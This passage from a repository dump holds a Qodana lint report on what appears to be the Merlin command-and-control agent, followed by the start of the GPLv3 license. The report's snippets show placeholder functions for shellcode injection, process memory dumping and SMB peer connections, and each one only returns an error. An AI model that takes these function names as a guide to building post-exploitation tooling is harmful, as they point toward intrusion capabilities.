used\\nfunc miniDump(string, string, uint32) (map[string]interface{}, error) {\\n\\tvar mini map[string]interface{}\\n\\treturn mini, errors.New(\\\"minidump doesn't work on non-windows hosts\\\")\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"a92ee06425d70b4046458370c9907464a6e75cde4963178ad3bdcffc0f8534b6\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedParameter\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused parameter 'key'\",\n            \"markdown\": \"Unused parameter `key`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"transformers/encoders/gob/gob.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 55,\n                  \"startColumn\": 35,\n                  \"charOffset\": 1415,\n                  \"charLength\": 3,\n                  \"snippet\": {\n                    \"text\": \"key\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 53,\n                  \"startColumn\": 1,\n                  \"charOffset\": 1310,\n                  \"charLength\": 156,\n                  \"snippet\": {\n                    \"text\": \"\\n// Deconstruct takes in bytes and Gob decodes it to its original type\\nfunc (c *Coder) Deconstruct(data, key []byte) (any, error) {\\n\\treturn c.Decode(data)\\n}\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"a95122b87c5d4cf75e364dfdbf7601f9bce87b12b1a05c86e35755fe17baf943\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedParameter\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused parameter 'string'\",\n            \"markdown\": \"Unused parameter `string`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"commands/exec.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 80,\n                  \"startColumn\": 60,\n                  \"charOffset\": 2999,\n                  \"charLength\": 6,\n                  \"snippet\": {\n                    \"text\": \"string\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 78,\n                  \"startColumn\": 1,\n                  \"charOffset\": 2851,\n                  \"charLength\": 307,\n                  \"snippet\": {\n                    \"text\": \"//\\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\\nfunc ExecuteShellcodeCreateProcessWithPipe(string, string, string) (stdout string, stderr string, err error) {\\n\\treturn stdout, stderr, fmt.Errorf(\\\"CreateProcess modules in not implemented for this operating  system\\\")\\n}\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"c3f631bc54d68b590b659d2e8343fab365223a597b31ef64d5d221f0fbb617c3\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedParameter\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused parameter 'shellcode []byte'\",\n            \"markdown\": \"Unused parameter `shellcode []byte`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"commands/exec.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 52,\n                  \"startColumn\": 27,\n                  \"charOffset\": 1477,\n                  \"charLength\": 16,\n                  \"snippet\": {\n                    \"text\": \"shellcode []byte\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 50,\n                  \"startColumn\": 1,\n                  \"charOffset\": 1362,\n                  \"charLength\": 229,\n                  \"snippet\": {\n                    \"text\": \"//\\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\\nfunc ExecuteShellcodeSelf(shellcode []byte) error {\\n\\treturn errors.New(\\\"shellcode execution is not implemented for this operating system\\\")\\n}\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"c78e043f04e49e6b5ee181a3f9bee62ac1504d1edc1e6e179391774beefd6608\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedParameter\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused parameter 'string'\",\n            \"markdown\": \"Unused parameter `string`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"commands/exec.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 87,\n                  \"startColumn\": 23,\n                  \"charOffset\": 3360,\n                  \"charLength\": 6,\n                  \"snippet\": {\n                    \"text\": \"string\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 85,\n                  \"startColumn\": 1,\n                  \"charOffset\": 3249,\n                  \"charLength\": 264,\n                  \"snippet\": {\n                    \"text\": \"//\\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\\nfunc miniDump(string, string, uint32) (map[string]interface{}, error) {\\n\\tvar mini map[string]interface{}\\n\\treturn mini, errors.New(\\\"minidump doesn't work on non-windows hosts\\\")\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"d57f3ff03aecf0576defa855190d29cae60b5ca6fb702dd43e68f43ff0bbfbf2\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedParameter\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused parameter 'pipe'\",\n            \"markdown\": \"Unused parameter `pipe`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"commands/smb.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 37,\n                  \"startColumn\": 23,\n                  \"charOffset\": 1047,\n                  \"charLength\": 4,\n                  \"snippet\": {\n                    \"text\": \"pipe\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 35,\n                  \"startColumn\": 1,\n                  \"charOffset\": 929,\n                  \"charLength\": 295,\n                  \"snippet\": {\n                    \"text\": \"\\n// ConnectSMB establishes an SMB connection over a named pipe to a smb-bind peer-to-peer Agent\\nfunc ConnectSMB(host, pipe string) (results jobs.Results) {\\n\\tresults.Stderr = fmt.Sprintf(\\\"commands/smb.ConnectSMB(): this function is not supported by the %s operating system\\\", runtime.GOOS)\\n\\treturn\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"d66165e69e533c5ad886c8b677dec2f3a1e000decdfba64b3b334f3dbaf9ce49\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedParameter\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused parameter 'key'\",\n            \"markdown\": \"Unused parameter `key`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"transformers/encoders/base64/base64.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 56,\n                  \"startColumn\": 35,\n                  \"charOffset\": 1585,\n                  \"charLength\": 3,\n                  \"snippet\": {\n                    \"text\": \"key\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 54,\n                  \"startColumn\": 1,\n                  \"charOffset\": 1477,\n                  \"charLength\": 167,\n                  \"snippet\": {\n                    \"text\": \"\\n// Deconstruct takes in bytes and Base64 decodes it to its original type\\nfunc (c *Coder) Deconstruct(data, key []byte) (any, error) {\\n\\tswitch c.concrete {\\n\\tcase BYTE:\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"db2375de30cc91d97a462a1da83b18023a2f3e51c106c7464cca846a4bae8994\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedParameter\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused parameter 'shellcode []byte'\",\n            \"markdown\": \"Unused parameter `shellcode []byte`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"commands/exec.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 66,\n                  \"startColumn\": 42,\n                  \"charOffset\": 2194,\n                  \"charLength\": 16,\n                  \"snippet\": {\n                    \"text\": \"shellcode []byte\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 64,\n                  \"startColumn\": 1,\n                  \"charOffset\": 2064,\n                  \"charLength\": 256,\n                  \"snippet\": {\n                    \"text\": \"//\\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\\nfunc ExecuteShellcodeRtlCreateUserThread(shellcode []byte, pid uint32) error {\\n\\treturn errors.New(\\\"shellcode execution is not implemented for this operating system\\\")\\n}\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"e2f73b0d2c3386443bf3cbff19c7e6b556c0d2b59cf49dca9a4d721713510b2d\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedParameter\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused parameter 'value'\",\n            \"markdown\": \"Unused parameter `value`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"clients/smb/smb.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 108,\n                  \"startColumn\": 39,\n                  \"charOffset\": 5773,\n                  \"charLength\": 5,\n                  \"snippet\": {\n                    \"text\": \"value\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 106,\n                  \"startColumn\": 1,\n                  \"charOffset\": 5658,\n                  \"charLength\": 253,\n                  \"snippet\": {\n                    \"text\": \"\\n// Set is a generic function that is used to modify a Client's field values\\nfunc (client *Client) Set(key string, value string) error {\\n\\treturn fmt.Errorf(\\\"clients/smb.Set(): the smb client is not supported for the %s operating system\\\", runtime.GOOS)\\n}\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"eed4eea5cdc530ae4b0d6bb94a8966e292eb56eae28aa86596552d5fa542bff3\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedParameter\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused parameter '[]byte'\",\n            \"markdown\": \"Unused parameter `[]byte`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"commands/exec.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 73,\n                  \"startColumn\": 35,\n                  \"charOffset\": 2576,\n                  \"charLength\": 6,\n                  \"snippet\": {\n                    \"text\": \"[]byte\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 71,\n                  \"startColumn\": 1,\n                  \"charOffset\": 2453,\n                  \"charLength\": 235,\n                  \"snippet\": {\n                    \"text\": \"//\\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\\nfunc ExecuteShellcodeQueueUserAPC([]byte, uint32) error {\\n\\treturn errors.New(\\\"shellcode execution is not implemented for this operating system\\\")\\n}\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"f4967547452eb8b3e78977dfd9d1df4d69d824c911820e2cd331300f3b503d0f\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedParameter\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused parameter 'uint32'\",\n            \"markdown\": \"Unused parameter `uint32`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"commands/exec.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 87,\n                  \"startColumn\": 31,\n                  \"charOffset\": 3368,\n                  \"charLength\": 6,\n                  \"snippet\": {\n                    \"text\": \"uint32\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 85,\n                  \"startColumn\": 1,\n                  \"charOffset\": 3249,\n                  \"charLength\": 264,\n                  \"snippet\": {\n                    \"text\": \"//\\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\\nfunc miniDump(string, string, uint32) (map[string]interface{}, error) {\\n\\tvar mini map[string]interface{}\\n\\treturn mini, errors.New(\\\"minidump doesn't work on non-windows hosts\\\")\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"f79b3430a4df8b619d3bf562ad29ed17fda1633f41f5b81352fc3e8671f6e89a\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        },\n        {\n          \"ruleId\": \"GoUnusedParameter\",\n          \"kind\": \"fail\",\n          \"level\": \"warning\",\n          \"message\": {\n            \"text\": \"Unused parameter 'key'\",\n            \"markdown\": \"Unused parameter `key`\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"transformers/encoders/hex/hex.go\",\n                  \"uriBaseId\": \"SRCROOT\"\n                },\n                \"region\": {\n                  \"startLine\": 44,\n                  \"startColumn\": 37,\n                  \"charOffset\": 1166,\n                  \"charLength\": 3,\n                  \"snippet\": {\n                    \"text\": \"key\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                },\n                \"contextRegion\": {\n                  \"startLine\": 42,\n                  \"startColumn\": 1,\n                  \"charOffset\": 1047,\n                  \"charLength\": 241,\n                  \"snippet\": {\n                    \"text\": \"\\n// Construct takes in data, hex encodes it, and returns the encoded data as bytes\\nfunc (c *Coder) Construct(data any, key []byte) (retData []byte, err error) {\\n\\tretData = make([]byte, hex.EncodedLen(len(data.([]byte))))\\n\\tswitch c.concrete {\"\n                  },\n                  \"sourceLanguage\": \"go\"\n                }\n              },\n              \"logicalLocations\": [\n                {\n                  \"fullyQualifiedName\": \"merlin-agent\",\n                  \"kind\": \"module\"\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"equalIndicator/v1\": \"ffb99f0b2c049a755ceb4452d210996fd57011b400e30447e150098f164bd575\"\n          },\n          \"properties\": {\n            \"ideaSeverity\": \"WARNING\",\n            \"qodanaSeverity\": \"High\",\n            \"tags\": [\n              \"go\"\n            ]\n          }\n        }\n      ],\n      \"automationDetails\": {\n        \"id\": \"project/qodana/2023-12-26\",\n        \"guid\": \"019f687e-a687-4cae-9395-17882a090666\",\n        \"properties\": {\n          \"jobUrl\": \"\"\n        }\n      },\n      \"newlineSequences\": [\n        \"\\r\\n\",\n        \"\\n\"\n      ],\n      \"properties\": {\n        \"configProfile\": \"absent\",\n        \"deviceId\": \"200820300000000-0371-2720-49f8-13c85cfe4ddc\",\n        \"qodanaNewResultSummary\": {\n          \"high\": 30,\n          \"critical\": 2,\n          \"moderate\": 1,\n          \"total\": 33\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, 